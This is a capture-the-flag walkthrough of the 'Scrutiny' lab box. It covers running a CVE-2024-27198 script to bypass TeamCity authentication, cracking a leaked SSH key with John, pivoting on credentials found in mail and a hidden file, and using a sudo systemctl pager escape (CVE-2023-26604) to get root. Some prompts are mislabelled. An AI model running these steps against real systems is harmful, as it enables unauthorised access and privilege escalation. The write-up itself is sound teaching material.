Skip to content

Scrutiny Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

Scrutiny fronts an internal TeamCity 2023.05.4 instance behind an nginx vhost, exploited via the CVE-2024-27198 authentication bypass to create an admin account. A deleted SSH key found in a developer's commit history cracks with John, and a trail of credentials left in mail and a hidden file leads through three users before a passwordless systemctl status rule is abused via CVE-2023-26604 for root.

Reconnaissance

Nmap and vhost discovery

Scan the target first.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -n -Pn $TARGET_IP
22/tcp open ssh   OpenSSH 8.2p1 Ubuntu
25/tcp open smtp  Postfix smtpd
80/tcp open http  nginx 1.18.0 (Ubuntu)
Service Info: Host: onlyrands.com

The web app on port 80 links to a teams.onlyrands.com login, so the hostname needs mapping locally before it resolves.

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP teams.onlyrands.com onlyrands.com" | sudo tee -a /etc/hosts
$TARGET_IP teams.onlyrands.com onlyrands.com

The vhost proxies straight to an internal TeamCity instance (version 2023.05.4), without exposing its usual port 8111.

Exploitation

TeamCity authentication bypass (CVE-2024-27198)

TeamCity before 2023.11.4 has several critical CVEs; CVE-2024-27198 lets an unauthenticated attacker create a new admin account.

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2024-27198.py -t http://teams.onlyrands.com -u admin -p password
[+] Version Found:  2023.05.4 (build 129421)
[+] Server vulnerable, returning HTTP 200
[+] New user test created succesfully!

Logging in with the newly created account opens the project dashboard. One user's pending build stands out: a commit titled "Oops" from marcot, whose diff shows a deleted id_rsa private key that was briefly committed and then removed.

SSH key recovery and cracking

Copy the key contents out of the diff (each line prefixed with - since it is a deletion) and crack its passphrase.

┌──(kali㉿kali)-[~]
└─$ ssh2john marco-id_rsa > marco-id_rsa.hash
┌──(kali㉿kali)-[~]
└─$ john marco-id_rsa.hash -w:/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
$MARCO_PASSPHRASE   (marco-id_rsa)
┌──(kali㉿kali)-[~]
└─$ ssh marcot@onlyrands.com
marcot@onlyrands.com's password: $MARCO_PASSPHRASE
Welcome to Ubuntu 20.04.6 LTS
You have mail.
marcot@onlyrands:~$ id
uid=1012(marcot) gid=1004(freelancers) groups=1004(freelancers)

Shell as marcot. The MOTD mentions new mail, worth checking later.

Privilege Escalation

User and group enumeration

Map out the other accounts and groups on the box.

┌──(kali㉿kali)-[~]
└─$ getent passwd
edgarm:x:1001:1001::/home/administration/edgarm:/bin/bash
<snip>
briand:x:1003:1001:Brian Dach,,,:/home/administration/briand:/bin/bash
<snip>
marcot:x:1012:1004:Marco Tillman,,,:/home/freelancers/marcot:/usr/bin/bash
git:x:1015:1005:Git Server,,,:/srv/git:/bin/bash
┌──(kali㉿kali)-[~]
└─$ getent group
administration:x:1001:sonjas,edgarm,briand
operations:x:1002:bobbyp,susanw,danab
finance:x:1003:dont,renep,juliuso
freelancers:x:1004:marcot,matthewa,patriciam,kathleenw
git:x:1005:git

The git user likely runs TeamCity, since its group matches the service's working directory. Marcot's freelancers group has read/execute access there.

┌──(kali㉿kali)-[~]
└─$ getfacl /srv/git
# owner: git
# group: git
user::rwx
user:git:rwx
group:freelancers:r-x
other::---

Marcot's own mail is next.

┌──(kali㉿kali)-[~]
└─$ mail
"/var/mail/marcot": 5 messages
>N 1 matthewa@onlyrand  Goodbye, best friend

& 1
From: matthewa@onlyrands.com
Subject: Goodbye, best friend

Dach, the imbecile, forgot to disable my access, so you can login using my account. The password is "$MATTHEWA_PASSWORD".
I've left you a parting gift, your eyes only.

A disgruntled former employee, matthewa, left his own credentials and a hint about a hidden file.

Lateral movement

Switch to matthewa with the disclosed password.

┌──(kali㉿kali)-[~]
└─$ su - matthewa
┌──(kali㉿kali)-[~]
└─$ ls -la
Password: $MATTHEWA_PASSWORD
-r-------- 1 matthewa freelancers 120 .~
┌──(kali㉿kali)-[~]
└─$ cat .~
Dach's password is "$BRIAND_PASSWORD". I saw it once when he had to use my terminal to check TeamCity's status.

Dach is briand, a member of the administration group.

┌──(kali㉿kali)-[~]
└─$ su - briand
Password: $BRIAND_PASSWORD
briand@onlyrands:~$ id
uid=1003(briand) gid=1001(administration) groups=1001(administration)

Sudo pager escape (CVE-2023-26604)

Check briand's sudo rights.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User briand may run the following commands on onlyrands:
    (root) NOPASSWD: /usr/bin/systemctl status teamcity-server.service
Explain command
-l List the commands the current user may run with sudo.

Querying a service's status with sudo looks harmless, but systemctl status pipes its output through less. Systemd before 247 does not set LESSSECURE, so the pager can be escaped to a shell when it runs as root, which is CVE-2023-26604.

┌──(kali㉿kali)-[~]
└─$ systemd --version
systemd 245 (245.4-4ubuntu3.23)
┌──(kali㉿kali)-[~]
└─$ sudo systemctl status teamcity-server.service
● teamcity-server.service - TeamCity Server
   Active: active (running)
lines 1-17/17 (END)
!bash
root@onlyrands:/home/administration/briand# id
uid=0(root) gid=0(root) groups=0(root)

Entering !bash in the less pager spawns a root shell.

References